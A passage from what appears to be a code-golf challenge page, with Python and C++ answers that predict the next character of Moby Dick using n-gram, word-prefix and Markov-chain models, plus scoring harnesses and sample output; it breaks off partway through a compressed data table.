sun. What ho, Tashtego! let me hear thy hammer. > Oh! ye three unsurrendered spires of mine; thou uncracked keel; and only > god-bullied hull; thou firm deck, and haughty helm, and Pole-pointed > prow,--death-glorious ship! must ye then perish, and without me? Am I > cut off from the last fond pride of meanest shipwrecked captains? Oh, > lonely death on lonely life! Oh, now I feel my topmost greatness lies in > my topmost grief. Ho, ho! from all your furthest bounds, pour ye now in, > ye bold billows of my whole foregone life, and top this one piled comber > of my death! Towards thee I roll, thou all-destroying but unconquering > whale; to the last I grapple with thee; from hell's heart I stab at > thee; for hate's sake I spit my last breath at thee. Sink all coffins > and all hearses to one common pool! and since neither can be mine, let > me then tow to pieces, while still chasing thee, though tied to thee, > thou damned whale! THUS, I give up the spear!" > > > comes out as > > `I > dhrnery oyay ooom the woc Ihal iiw chshtego -tit my ti ddohe > bidmer Hh, ho sheee opdeprendera toetis of tygd ahesgapdo tnep tnd tf > y arosl tinl ahesgaorsltoak, and tidlhty ai p, cnd telas taep toip syst > ho she tachlhe tnd tith ut ay Rnet hor bf toom the wist > tord oaeve of ty nsst toip recked,hontain th, tingly toadh af tingly tike 'h, > tot a hoet ty oh ost sreat ess iik in ty oh ost sremf Hew hiw"aoom > tnl tou oolthert tyand . taoneoo sot an ao syad tytlows of ty > oii e oor hoi tike and th ohes if oaped uoueid tf ty ooadh Ih > ards the t houle lhesganl p tyt tpdomsuera tiile ah the wist t hrenelidtith > the Ioom ti p s di dd o hoinbtn the Ior tid toie o hoetefy > oist tyoakh on the Opr tnl toufin and tnl ti dd .mh tf ooueon > gaor tnd todce tovther lon by tygd ait my the th aih tapce > ciice toill moaneng she thesgh thmd th the thesgaoy d jiile YhE t > hrve tpothe woerk "` > > > That would have made *The Wrath of Khan* a lot more confusing. And "lonely" → "tingly" is a particularly satisfying substitution. **Edit:** Saved one byte by deleting an extraneous space # Scoring ``` #! /usr/bin/env python3 import sys import os import mobydick as moby def eprint(*args, **kwargs): print(*args, file=sys.stderr, **kwargs) total = 0 right = 0 real_char = '' guess_char = 'T' print('T',end='') with open("whale.txt") as whale: while True: if real_char == guess_char: right += 1 real_char = whale.read(1) if not real_char: eprint(str(right) + " / " + str(total) + " (" + str(right/total*100) + "%)") size = os.path.getsize("mobydick.py") eprint("Source size: " + str(size) + "B") eprint("Score: " + str(2*size + total - right)) sys.exit(0) guess_char = moby.f(real_char) print(guess_char,end='') total += 1 ``` This runs the program for the text of Moby Dick and outputs the "predicted" textto stdout, and abuses stderr to write the score. I'd recommend redirecting the output to a file. [Answer] # Python 3, 526640 274 bytes, 526092 errors (using `whale2.txt`). This is definitely capable of further improvement, but it has reached the "good enough to post" stage. ``` from collections import* D=defaultdict M=[D(lambda:D(int))for i in range(10)] X="" def f(c): global X;G=D(int) for L in range(10): M[L][X[:L]][c]+=1;N=M[L][(c+X)[:L]] if N:g=max(N,key=lambda k:(N[k],k));G[g]+=N[g]*L**8 X=(c+X)[:10] return max(G,key=lambda k:(G[k],k)) ``` The idea is to store the frequencies of all runs of 2, 3, 4, ..., 10 characters. For each of these lengths L, we check whether the most recent L-1 characters match a stored pattern; if so, our guess gL is the most frequent next character following that pattern. We collect up to nine guesses in this way. To decide which guess to use, we weight the frequency of each pattern by its length to the 8th power. The guess with the largest sum of weighted frequencies is chosen. If there are no patterns that match, we guess space. (The maximum pattern length and the weighting exponent were chosen by trial-and-error to give the fewest incorrect guesses.) Here's my ungolfed work-in-progress version: ``` from collections import defaultdict PATTERN_MAX_LEN = 10 prev_chars = "" patterns = [defaultdict(lambda:defaultdict(int)) for i in range(PATTERN_MAX_LEN)] # A pattern dictionary has entries like {" wh": {"i": 5, "a": 9}} def next_char(c): global prev_chars guesses = defaultdict(int) for pattern_len in range(PATTERN_MAX_LEN): # Update patterns dictionary based on pattern and c pattern = prev_chars[:pattern_len] patterns[pattern_len][pattern][c] += 1 # Make a guess at the next letter based on pattern (including c) pattern = (c + prev_chars)[:pattern_len] if pattern in patterns[pattern_len]: potential_next_chars = patterns[pattern_len][pattern] guess = max(potential_next_chars, key=lambda k:(potential_next_chars[k], k)) frequency = potential_next_chars[guess] # Exact formula TBD--long patterns need to be heavily # advantaged, but not too heavily weight = frequency * pattern_len ** 8 guesses[guess] += weight # Update prev_chars with the current character prev_chars = (c + prev_chars)[:PATTERN_MAX_LEN] # Return the highest-weighted guess return max(guesses, key=lambda k:(guesses[k], k)) ``` And the test harness: ``` from textPredictorGolfed import f as next_char # OR: # from textPredictor import next_char total = 0 correct = 0 incorrect = 0 with open("whale2.txt") as file: character = file.read(1) while character != "": guess = next_char(character) character = file.read(1) if guess == character: correct += 1 else: incorrect += 1 total += 1 print("Errors:", incorrect, "({:.2f}%)".format(100 * incorrect / total)) ``` --- Here's some sample output from near the beginning of the text. Already we begin to see the ability to finish common words after seeing their first letter (`in`, `to`, `and`, `by`; also, apparently, `school`). ``` you take in hand to school others, and to teach them by what name a whale-fish xU wshhlnrwn cindkgo dooool)tfhe -; wnd bo so rhoaoe ioy aienisotmhwnqiatl t n ``` Near the end, there are still plenty of mistakes, but also plenty of very good sequences (`shmage seashawks`, for instance). ``` savage sea-hawks sailed with sheathed beaks. On the second day, a sail drew near shmage seashawks wtidod oith tua dh tyfr. Tn the shaond tay, wnltiloloaa niar ``` It's interesting to look at some of the mistakes and guess what word the algorithm "expected." For instance, after `sail`, the program both times predicts `o`--for `sailor`, I presume. Or again, after `, a` it expects `n`--possibly because of the common occurrence of `, and`. --- Changelog: * 274 \* 2 + 526092 = **526640** Golfed the algorithm, at the cost of a few extra errors * 306 \* 2 + 526089 = **526701** Original version [Answer] # Python 2, score: 2\*(407+56574) + 562262 = 676224 Searches for words matching the previous characters from a list of ~~all~~ most words used in the text, sorted by the number of their occurrences. **Code:** ``` import zlib f=open("d","rb") l=zlib.decompress(f.read()).split() w="" def f(c): global w if c.isalpha(): w+=c try:n=next(x for x in l if x.startswith(w)) except StopIteration:return" " if len(n)>len(w): return list(n)[len(w)] return" " w=""; n=ord(c) if n>31: return list("t \n 2 sS \n - 08........ huaoRooe oioaoheu thpih eEA \n neo enueee neue hteht e")[n-32] return"\n" ``` **Data: <https://www.dropbox.com/s/etmzi6i26lso8xj/d?dl=0>** **Test suite:** ``` incorrect = 0 with open("whale2.txt") as file: p_ch = ch = file.read(1) while True: ch = file.read(1) if not ch: break f_ch = f(p_ch) if f_ch != ch: incorrect += 1 p_ch = ch print incorrect ``` **Edit:** Using `whale2.txt` gives a better score. [Answer] # C++ (GCC), 725 × 2 + 527076 = 528526 Yet another prefix-frequency submission. Run on `whale2.txt`, and get similar (slightly worse) score than others. ``` #import<bits/stdc++.h> char*T="\n !\"$&'()*,-.0123456789:;?ABCDEFGHIJKLMNOPQRSTUVWXYZ[]_abcdefghijklmnopqrstuvwxyz"; int I[124];std::string P(7,0);struct D{int V=0;std::array<int,81>X{{0}};};std::vector<D>L(1);D init(){for(int i=81;i--;)I[T[i]]=i;}int f(int c){P=P.substr(1)+(char)I[c];for(int i=7;i--;){int D=0;for(char c:P.substr(i)){if(!L[D].X[c]){L[D].X[c]=L.size();L.push_back({});}D=L[D].X[c];}++L[D].V;}std::vector<int>C(81);for(int i=81;i--;)C[i]=i;for(int i=0;i<7;++i){int D=0;for(char c:P.substr(i)){D=L[D].X[c];if(!D)break;}if(!D)continue;int M=0;for(int x:C)M=std::max(M,L[L[D].X[x]].V);C.erase(std::remove_if(C.begin(),C.end(),[&](int x){return L[L[D].X[x]].V!=M;}),C.end());if(C.size()<2)break;}return T[C[0]];} ``` This one greedily find the longest string that starts with a suffix of the history, and if there are multiple candidates, tiebreak with shorter strings. For example: If the last 7 characters are `abcdefgh`, and the string `abcdefghi` and `abcdefghj` appears with the largest frequency in all strings of the form `abcdefgh*`, the output will be either `i` or `j`, tiebreak with shorter suffixes (`bcdefgh`, `cdefgh`, ...). For unknown reasons, anything more than 7 and my computer doesn't have enough RAM to run it. Even with 7, I need to close all web browsers to run it. --- Testing code: ``` int main() { init(); std::cout << "Start ---\n"; std::time_t start = std::clock(); std::ifstream file {"whale2.txt"}; // std::ofstream file_guess {"whale_guess.txt"}; std::ofstream file_diff {"whale_diff.txt"}; if (!file.is_open()) { std::cout << "File doesn't exist\n"; return 0; } char p_ch, ch; file >> std::noskipws >> p_ch; int incorrect = 0, total = 0; // file_diff << p_ch; int constexpr line_len = 80; std::string correct, guess_diff; correct += p_ch; guess_diff += '~'; while (file >> ch) { char guess = f(p_ch); // file_guess << guess; /* if (guess != ch) { if (ch == '\n') { file_diff << "$"; } else if (ch == ' ') { file_diff << '_'; } else { file_diff << '~'; } } else { file_diff << ch; }*/ incorrect += (guess != ch); total += 1; p_ch = ch; if (guess == '\n') guess = '/'; if (ch == '\n') ch = '/'; correct += ch; guess_diff += (ch == guess ? ch == ' ' ? ' ' : '~' : guess); if (correct.length() == line_len) { file_diff << guess_diff << '\n' << correct << "\n\n"; guess_diff.clear(); correct.clear(); } } file_diff << guess_diff << '\n' << correct << "\n\n"; file.close(); file_diff.close(); std::cout << (std::clock() - start) / double(CLOCKS_PER_SEC) << " seconds, " "score = " << incorrect << " / " << total << '\n'; } ``` Ungolfed: ``` size_t constexpr N = 7; int constexpr NCHAR = 81; std::array<int, NCHAR> const charset = {{ '\n', ' ', '!', '"', '$', '&', '\'', '(', ')', '*', ',', '-', '.', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '?', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', ']', '_', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' }}; // this actually contains a lot of information, may want to golf it // (may take the idea of using AndersKaseorg's algorithm, late acceptance hill climbing) std::array<int, 'z' + 1> const char_index = [](){ std::array<int, 'z' + 1> char_index; for (size_t i = NCHAR; i --> 0;) char_index[charset[i]] = i; return char_index; }(); // IIFE ? std::string past (N, 0); // modifying this may improve the score by a few units struct node { int value = 0; std::array<size_t, NCHAR> child_index {{0}}; }; std::vector<node> node_pool (1); // root int f(int c) { past = past.substr(1) + (char) char_index[c]; for (size_t i = 0; i < N; ++i) { // add past.substr(i) to the string size_t node = 0; for (char c : past.substr(i)) { if (node_pool[node].child_index[c] == 0) { node_pool[node].child_index[c] = node_pool.size(); node_pool.emplace_back(); } node = node_pool[node].child_index[c]; } assert(node != 0); // the substring is non-empty ++node_pool[node].value; } std::vector<size_t> candidates (NCHAR); std::iota(candidates.begin(), candidates.end(), 0); for (size_t i = 0; i < N; ++i) { size_t node = 0; for (char c : past.substr(i)) { node = node_pool[node].child_index[c]; if (node == 0) break; } if (node == 0) continue; assert(node_pool[0].value == 0); int max_value = 0; for (size_t x : candidates) max_value = std::max(max_value, node_pool[node_pool[node].child_index[x]].value); candidates.erase( std::remove_if(candidates.begin(), candidates.end(), [&](size_t x){ return node_pool[node_pool[node].child_index[x]].value != max_value; }), candidates.end() ); if (candidates.size() == 1) break; } return charset[candidates[0]]; } ``` --- Example output: ``` ~ ~s ta~ hard ts tt~~~~~~~ ~doam ~~ ar~ ~ i~~~ ~~~ ~he~~~~,a~ t~~~~ t~ ho~si~ n--as his wont at intervals--stepped forth from the scuttle in which he leaned, ~~~ thr~ ~~ t~~ crp~~~~~~~~ a~ wap~~~~~ a~eo~~ h~~ o~~ s~~~ or~~y~ ~ boog~e~~ t and went to his pivot-hole, he suddenly thrust out his face fiercely, snuffing u ~ a~~ ~h~ ~n~ onitn~oi~~~~~~ ~~a~ ~ cewsoat~ a~ tae~~~~ ~e~~t~~ te~~ ouc~s~i~~ p the sea air as a sagacious ship's dog will, in drawing nigh to some barbarous ct as I~ iisk~~~~ ~~e~ tls~~~~ i~~~ ~~ soe~e Ae ~ ~~e~ tar~~~~~ trd~ ot ~ h~~~ isle. He declared that a whale must be near. Soon that peculiar odor, sometimes ``` This one is near the end of the text. Most long words are predicted quite accurately (`intervals`, `pivot-hole`, `distance`) ``` au t tf weu~i~ aor~ mre~g~~~ m~t~~ ~~~ ~"NC~X~t~ti~ ~~n~ SNsh A FNECnSERTR O on as it rolled five thousand years ago./////Epilogue//"AND I ONLY AM ESCAPED A NL~~,S~ ~HR~ yO~ -/s~n "~A~~ laeu~ta Vew~, S~e s~~ s~ ~ ain~ t~d ~t~ oirept~~ ~ LONE TO TELL THEE" Job.//The drama's done. Why then here does any one step forth ``` Upper-case doesn't seem good. [Answer] # Python 2, 756837 Uses something that might be Markov chains? ``` import zlib a=eval(zlib.decompress('x\x9cM\x9cis\xda\xcc\xd2\x86\xff\x8a2\xf5\xd4\x81\xb8,\x977l\'\xf9\x90\x12 \x02f\x11G\x02c||*%@,a\x11a1\xe0S\xef\x7f\x7fC\x13\xf75\xdf\xda\xaaa4\xd3\xcb\xddw\xf7\x8c\xfc\xbf\xcc\x8f\xd7E\xe6\xab\x93if\xce\x9d\xcc\x8f\xefG\xd1\x11\xf1\x1b\xa2At\x8e\xa2\'\xe2\xc5Q\xfc,\xa2{\x14+"\x9e3\xf63b\x87\x9f\xb5\x8fb$b\xeb(\x96E\x8c\x18\x1b2\xb6{\x14/D\xfcq\x14\x03\x11}\xc6zG\xb1.b\xc0\xd3\x06\xcb\xa9\xf1\xb3\xcaQl\x88X>\x8a-\x11\xb7G1\x11q\x85\x98\x1c\xc5\x95\x88\xf1Q\xec\x89\x98\x1e\xc5\x81\x88\xa2\xb3X\xc4\x19\xe2\xe4(\xbe\x898\xd6\xc9F\xa8\xe4E\x16\x19\x8a\xc8r^|U\xc9\x8b\xc7\xd8\xfcQ\xf4\x8f\xe2\xbf\x1c\x06\xbc\xa8v6\xef\xba\xb2\x17V\xf6\x92\xe8r6\x07\x9d\xcc\x95EN\xe4\xe9FW\xb6\xd9\xea6M\xa2K\xdf\xact\x86\xf9\xc976Gy\xf2\xce\xef\x96G1\x15q\xf1\xf1\xd4\xcc3\xe6\x8f\xb8\x96\xdf}\xd27\xcf\x1d\x9da\x8e\x1f\xcd\xc5c\\\x11Q\xcf\xfc\x02Q\x9c\xe7\\\xd6\xbe;\x8acY\xe5\x8c\x17\xcfu9F\xc4\x83\xfc\x0c\x076\x0b\x1d;\xc7\x97\xe7_U\x9c\xacT\xfc\xc2\x1a\xbe\xb0\x06\x83\r7b\xd9\x85<\x9d\xe8\x86\xbe|Q\xff\xfc\xf2\xa0\xe2d\xa7?\xfbr\xc5\xbc\x97\x8c\xbd\xd1\xbd}\xb9f@\x8e\x01\xb7\x88\xf7\x88w*\xce\x13v1\xc1ZCv\x1c\xebz\xe7=]\xce\x1c\x9d\xcdg\xe8,U/\x98/\x18`\xed\xf8\x8d\xa7\xe21\'\x1bo\xd4,sk\x80\xb8\xc6L\xc45Oq\xa9M\xac\x9e8\xc7?k\xb8\x9fY\xe9\x80\x9a\x8c\x9d\x8a\x98\xea\xde\x8c\xcc\xbb\x94\xa7\x13\x06\xc8\xca\xfa"\x1e\x98\xa1\xa4\xe1R\xfb\xa1\xb1W+\xf2b\xc0\xa4\x96W\xac\xa8\x15\x10=\x8d\xd3ZC#\xb2F \xd7j\xccP\xd78\xadU\x8fbWD"\xbd\xd6Q\xb7\xaf\xb5\x98\x0cH\xac\x85\xfc\x0cH\xac5\x15(k\xdd\x8f\xa7\xa6&\xf1v\xfa\x19\x00Q\xc3\x7fkxuM\xe2\xad(\xa2D\xd6\xabX\xb6&\xfeyy\x14\x1d\xdc\xa4v\x8azY\xdbU\xa4P\xf9\xc4\xcc?\x0fj\x8d\x9f\x135\xf8O\xde\xf7\xd3Q?Ym\xf4\xe9\n\xefY\xe12\xab\x9d:\xc7\n`Y\xfd>\x8a[\x11\xf1\x88\xd5\x9a\xc9\xf6\xcc\x80#\xad\xde\xd5+W\x03\x9e\x12/\xab!\xf3\x8e\x98\x81xY\xf5\x18\xd0g2\xe2e5g\xb2\x05+\x13\x07\x9d\x8b8fCD\xd1j\xca\xcf,X]\x81X+\xb0i\xa5\x88\xf5\'\x1c\x14VW`\xe9\n\x84]\x19u\xaa\x15\x16X\x81\xb0+\x0c\xb7"\'\xbf.N\xab0\xa7?n\xd5\x13^\x179\xb5\xf9\xebB<\xe4\xe1$_[c\x04\xc3\x06\'\x99W\xbd.\xb2\x1ap\xaf\x8b\xb3\x8fy\xcc\x9fW\x19\xe6t\xacE\x18\x1d\xffoR\xf1\xeb\xa2k\xc9/\x96\xfc\x1fk\xfa\x96Z\xe7u\xd1VLx]<\xa9Q^\x17\x1dkL\xd3\x9a\xe7\xdfj\xe4\xd7Eh\x8d\x8fT\xc3\xaf\x8b\x9a5\xben\xc9\ru\xd2\xd7E\xa0\xf6}]\x94\xad1\x15k\x8b\x8f\xd6\xf8\xaa\xf5\xae\xa25\xde\xb7\xe6)Y\xe3\x7fX\xb2g\x8d\xc9[\xeb/(:\xfc[\xd4P9=>X?}\xb7\xe4\x8d\xa5\x92\xad5\xe5\x9b\xb5\x9c\x9d5Fbru\x92\x7f[\xaf]Y\xe3\xd7\x96\xdaf\xd6\x16\xe7\x1a\t\xaf\x8b\x85\xb5\x06\t\x96\xe1I\x1e[\xf3L\xac\xf5\xfc\xb2~;\xb5\x9e\x0f\xac\xf1\x12\xd7\xfb\x93<\xb4\xe6\x1fYk\x8e\xad\xdf\xf6\xac\xdf\xf6u\xfc\x80\x00\x19\x10A\x03\xdcz\xa0ac\x06\x84\xe3\x00>3 2\x07D\xe6\x80\xd8\x1e\x10\xdb\x03\xd8\xc8\xc0\x02\x82\x01\xb9w \xea\xd9\x89\x08\xee\x0c\xe6\xaa\xd8\x01\xba\x19L\xf9\x19\x9a\x1c\xa0\xc8\x01\x807\x00\xf0\x06hq\x00\xd9\x1d\xf4\xd0\x89\xa5\x9e\x985\x80\xb4\x837\xd6\x00\x82\x0f\xf0\xae\x01\x19y\x80\xaf\x0c@\xf0\xc1\xf2cCf\x87Vw\xe8o\x87Vw\x98h\x87]vXk\x07a\xdc\xa1\xf6\x1d\xba\xdea\x81K\x012aR\x977\x88\x97\no\x97W<\x85u]\n\x17;e\xceK(\xda%\xc4\xed\x12\x16x\t7\xdcYV\xbe\x94-I\xba\xbcd\xa3\x97\xec\xee\xf2\\W\xb1\xc3r;l\xb4\xc3r\xbb\xbe\xea}\xd7C\x14s\x9dt\t\xb5\xdb-\xd0\x04>\xb5#)\xed\xe0\xb5;\x12\xd8\x0e\x84\xd8Q8\xec0\xe2\x8e\xe4\xbc[2\x00?\xb9\xc4#\nl\xb3\x80\xe5\n\xa2\x12![\x05\x81G!\x1e\x05AP)\xed\n\x02\xac\x02\xfa\x85\x80\xa75\xc5\xba\x02t\xad )\xc5l\x01jW\xe8"\x86\xbcB\xd0RrR\xa1\xc5+\x08\x9d\xc2X\xd5W \xbd\x17f\xba\xcd\x82\xa8Z\xd2N!Q\xf5\x15\xdeU}\x85\x83\xc6@a\xa5\x01U\x10\xa5\x9e\xd8\xee@\x9fN 4\x06,3#\xd5\xaf\x01\xc9\x0c$\xc5\x10\xa8\x13\xe0y\xb2\xd4\x1dO0\x96I\xd5\x16\x93\xadnh\x82\x85\xcc/f \x1f\x18\x06L\xc6\xba\x9c\t\xc8c\xc8\x17\x13j\x8c\xc9L}}\x92\xea\xd2\'\xe2\x88#\x11\xd9\xd0\x04\xaa5\xe9\xf1\xb3D]\xd9\x90\xce&#\xc6\x0e\xd9[\x11\x9d\xf9\xe8\x97dj\xc8\xa5\xc6\xd3\x080dRSP\xbb\x99\x1ac\xeb<%\xf3\x9b\x00\x9d\x91\xf7\ri\xdf<2/I\xdf\xc0Y\x0c\x94\xc5<1\x03\x84\xc5\xc0W\x0ct\xc5\x84,\x07\xb2b\xe0KO\xb2\xb7\x9ah\x07\xf43\xaf\x19uv\x039\x7f\x12MI\x1d\xf3$k/\xc8\x80\x0b\xc5.s\x06\xe6=\xc9\x9e\xa58\x99\xb8\xea\xd7\x13"yr\x81\xed\x01\xb7\x89\xbcN\xb2\xd9\xc4\xe8l\x7f\xcah\x85|\xc3:\x9fp\x89\'0\xefi\xa2\xa29\x81\xe9\xdf\x15\xa5j\xc7\xc9\xe9\xb9\xbc&Gc)\x87\xeb\xe6@\xe4\x1c8\x9d\xcb)\xde\xe6\xc0\xf4\x1cew\x8e\x04\x90#-\xe4.u\xc99RHN\x12\x8b$\xa1\x1cj\xc9\x01{9\xf8w\x19L*\xd3\xf2*S\xf5\x95\x9fxJ\xff\xac\xdcb\x00uc\xb9\x82\xd8`\x00Uj\xb9\xce\x0c@d\x19\x88,\x1f\xd4ve\xca\xb4\xf2\x04\x11RR\x8e\xd5\x1ce*\xab\xb2m\x992&-\x7fV\xfd\x94/\xac\x11(\xa8\xec\xaac\x95\xb5\x92\xfd\x13VZ\xdf\xfeG\xb4\xd2\x16Q;d&\xf3\xcd\xe8l\xaf\x19\xcb\xb52\xce\x87k\x99\x8c{\x14]\x11\xcf\xcd\xc7\x0b\x17$8\x8br.\x00\xbf\x05yqA\xb6\xb4\xe8\xec\x02\xb6v"\xb3\x12\x86\'\xaey\x12\xa1R\'\xa6y\x1aKM\xba@s\'\xea*\x00qb\xae\xa7\xa7{\x9e\x92N\x17$\x97/\x04\x96E\xd2-\x8enQ\xf4\x05I`AA\xbe \tX\xf4\x7f\xa1t\xcedv\xe6o\xf8\x98\xcc\x9b\xf9;\xc0d\xb6\xe6\xef6Mf\xf3\xa1T\x93Y#\xae\x18\xfb\xdb\xfc]\x8e\xc9,\x8d\xce{`\xc0\x88\xa7C\xf3Wg&\x93\x98\xbf+3\x7fx\xb6\xce\xdb?\x8a3\x11{\xcc\x1b36\xe5\xe9\xe2\x8fh2\xe6(\xce\x99a\xc6\x0c\x13\xf3\xd7\xf2&3f9\x1dv\xfc\xc4\xd3\x16O#\xdc\x08&\xba\xb8\xc0-\x9bFm\x01\x81]\x00\x88\x0b\xc3\xd8\xae\xbe\xe2T!\x9f\x94\xea\x1f\xc5\xbd\x88E\xb4S@\xcc\xb3M\xcf\xa8{~g\xde\x80\xf56\xf8Y\xfdc\xac\xc9\xd4\xcc_\xe72\x99\n\xda)\x7f\x8c\xcd|eo_\x1du\xb9\xaf\xf4\x1a\xbeZ\xe1\xfe\'Gj\xac\xd6\x8f\x1b\x15\xbdg\xea\x8e\xe6\x9c:\xd3\xd5\t\xfc:\xc8X\x07%\xea\xf0\xf7\xfa\xe9%\x1d\x91\xe9l\xd7\xc9\x12u\x89>\xe9\x82\xd7\x01\xab:\xb5G}\xc3\xc4+D"\xaa\x0e\x08\xd6i\xf6\xd5\x0b\x9a\x0e\xeb4\x06\xeb\x02\xa3\xc2\x1e\xeb5\x05\xad:8[o(\xce\xd6+\xec\xbe\xcd\xcf\x9a\ne\xf5\x88\xe5\x90\x0c\xce_9[X[\x95\xc3\x1aD]S\xca\xac\xd1\xd59f:G\xdb\xe7g\x0c \xf9\x9c\xd3\xeeYgu\x99k\xcc\xb1f\x865\xf6ZS\xf1\xae\xf1\xe7\xb5z\xb9Yg48\xce\x1f\xf4\x15\xdfu2\xf3\x9d\x01\xdfA\xec\xccwG\xcd\xbc\xc62k@kM\x07y\r\xc0\xad\xa98\xd6t\xdd\xd7\x18\x7f\r\xd6\xad\xa1\xab\xeb_\x8a\xcdk\xe0\x7f\r\xb5]\xc3\xf6\xd7\x00\xfd\x1a\xf8_\x93\x14\xd6}\x85\xdeu\x8f\xa7\xb4\xb9\xd7#\xd6\x0b\xd0\xaf\x81\xff55@H\xb9\x15&\xba\x86P&\x93f[\xc8\xca\xc2\xb1\xbe-\x94]\x08\xa7\x0e\xe1\x07!\xdd\xa0\xf0\tQ\xb8\x84\x90\xa3\xb0\xa9\x8e\x1dBAB(H\x88[\x86\xf4\xccC\x02&\xfc\xa1\x8e\x1dz\x1a0a^}<\xa49\x15R\xb0\x85\xb0\x91P\x02F\x90#\xa4\xb8\x0b\xe9\x99\x87\xd4\x84!\xce\x1e\x12\x02!\xbd\xd2\x10\x18\n\xc5\xa3\xaeD\xc4\x81C\xf1\xc4\xbc\x888{\x08\xf6\x84\xa7\x88\x93pH(e\x12J\x99$Us&\xd4\xd4\t\x0c5\xa1\r\x93L\x15\x91\x12|.I\xd4\xc8\t| !\xf3\'\x94\x7f\tT+\xe9+\x16$\x90\x8b\x84pI\xf6\x0c\xe0\xb0.\x81\xcd%DC\xb2C$\xf3\'\x84VB\x01\x99\x10\x86\tgf\xc9\xcf\xa3(\\7\x01,\x12t\x9d\xa0\xe0\x84\xfeY\x02\xedO\x80\x90\x84\x92$!\xc5$\xd8;\x01\xfd\x12L\x7fA\xa1\x92\x9c\x0c\'S\xec\xa1w\xfb\x89jjO3dO\t\xbf\'\xa8\xf7\xf0\xb4}\xac\x10\xb2O4\xf8\xf6\xa2\xebO"\x82<{\x94\xb6\xa7E\xb2\xdf\xaa\xc7\\\xd1\x1d\xdd\xa3\x93=\x9a\xda\x8b\xfe$\x87\xedE\x11R\xaf\xecU=f\x8f\xd2\xf6\xec~om\xf9\xeaR\xadqE=rE\xa3\xeb\x8a:\xe7\x8a:\xe7J\xea\x9c{\x11\xa9s\xae\xa8\x94\xae\x04\xc5\xafE$\xbf\\\xd1l\xbb\xa2_u\xc5\xe6\x8a\x12\xca\x82\xe7\xc5\x9a\xc6z\xb1\xae\xb8P$\xc0\x8b`H\xb1\xa8\x10Q\xf4\x15N\x8ad\xe5"\x80T\xa4<*\xb6\x15\xc7\x8a\x1c\xa0\x15#\x85\x93"\xed\x87\xe2D-[\x84P\x14c\x05\xd0"\xa7\x87\xc5\xad\x1a\xaeH\xfe)\x9e\xd4.(S\xb4\xb6\xac\xf64\xc5\x8cr\xb2"\x14\xa8\x88\xbb\x17\xf1\xe6\x8e\xaf\x88\xd4\xa1r\xefp\x9b\xa1C=\xd7\x81rt\xd0_\x87\xf6X\x87\xc2\xb7#\xbb\xff&"-\xafN\x131Q\x07\xed\xd01\xec\x80n\x1d\x1a\x82\x1d\x02\xaa\xa3\x8a0\x1d\xd0\xb6\xe3\xb02\xee\x85t\xb8\x17\xd2\xb1N\x1d;\xec~\xcb\x81\xdf/p\xeaZ\xbc2\'O\'\x1a\x1a\xbf\x12\xb5\xdc/Y\xb0T>\xbfR5\xd7\x1d\xfc\xe6\x8e\xe0\xba\xc3Dw\x04\xc9\x1d\xa5\xfc\x1dArG\xe8\xdc\x11$w9\x8d\x81;\t\x129\x0e\xbb\x93EJ\x82\xb9\xa3\x9dp\xf7E\xc3\xa1\xc5\xed\x8a;\xab\x81F\xeb\xbeb\xc5o\x05\x9dT@\xbd\n\xc0ZaG\x15vT\xc1\xa7*\n\xa1\xa6\x92\xf9(r2\x95g\xf4^\xe1\xeeH\xa5\xc9\xefH\xf7\x95\x10\xb1\xad\xc1S\xc1\xa9*O\xea>\x95\x8a\xee\xb9R\xd7\xf0\xabp\xdf\xa6\x12\xa8\x87V\xc4\x85\x7f\x88\xc8\x8d\x9dJ\x81\xc9\xf2\xea(\x15\xc8E\xa5\xc8\x80\x1f\xac\xa1\xc4S*\xe4\n9\xaaB\xa3\xb5B\xc2\xab\x08\xceK\xbb\xadB2\xaf\x88\xf7\x08\xa2WH\xe6\x15\x12Ae\xa4\xc8Q\xa1\xd7\x98\xa5\xb0\xce\xaeu\rY\x8a\xf0,\r\xd1,\xb6\xf7\xb0a\x16\x92\x90\x85\x82f9O\xce\x92\xad\xb2\x9c\xa8e\xa1$Y\xc8f\x96s\x80,\xa1\x9c\x85E\\\x8b\x01\xe4\xf8?\x0b\xad\xcc\x82\x0b\xd9H\x8d\x95m\xf26i;\n^g\xe9@e\xf1\x87lU\xed\x96-3\x96.h\x96r(+\xfe \x80\x9e\xad\xf1b\n\xaa,\x9d\xd8l\x81\x9fy\n\xb6\xd9\x92:W\x96\xcb\x1c\xd9"/\xf6\xd9\x85\xc4\xf71\xb1\x99\xe3!\xb3\xc6@jUT\x0b\xfbv\x13\xa7*\x9eL\xf8$\xa3\x89\xb4\x94PL1c\n\xb1I\xc9\xd1)Q\x99\xd2\x01H\x89\xeb\x94hO\xc9\xe7\xdf\xa8\xae\xbei\xae5\xdf\xa8\x98\xbeQ\xcb}\xb3\x96#\x9e"\x97`R|8\xc5SR\xf1\x1fa0)EP\xfa\x0b\x11\x0fL\xc7\x1a\x10)\xa7\x85)\xae\x9f\xd2\x92O!\xafi\x9f5\xd0\xbeOi\x87y\xa1z`\n7M\x0f\xea\xb8\xe9\x9e\xc9\xe0\xa6\xdf\xacb8%\x1b\xa7\xc4u\xca-\xa3\x14r\x9a\xc2\xc9R\x98Z\x83}6\xe8f6h&4\x92\x8f\xa7\xa6Erk\xf0\xe2\x06i\xb7\x81\xef7\xa08\r*\x9b\x06\xd7\x85\x1a\xa4\xf3\x06d\xa6Am\xd4\xa0\xbaj\xf8\xfc\xec\x07O\x9f\x11\xe1@\r\x9a\t\r\x88O\x03Do\xb4\x18@\x0f\xa2\x01\x8c7:\xec\xc2J\xd1\r\\\xbcA\xc9\xd4\xb0\xda\xb7\x0b\x92m\x03\x8e\xd3\x80\xb36,\x05\xe2\xee\x0bk\xe2\x93me\xff16\x88\x01\xdf\x18W\x8aa+1n\x17\xe3\xa2\xf1P\x8d\x14c\xe6x\xccX\\?\xc6\xf5c\xc2$&-\xc4\x80o\xbc\xd0\xe0\x89q\xaax\xc9\xdb\xc8<\xf1\x8a\xb1\xb0\x99\x18g\x8d9(\x8f\xa9\xbabJ\xb8\x983\xc0\x980\xb9\x82\xac,\x80\x8b\x05Zm\x9dTy#\xbf\x03|b(A\x0c:\xc5\x90\xf7\x98c\x9c\x18\xc3\xc4\xa0^\xcc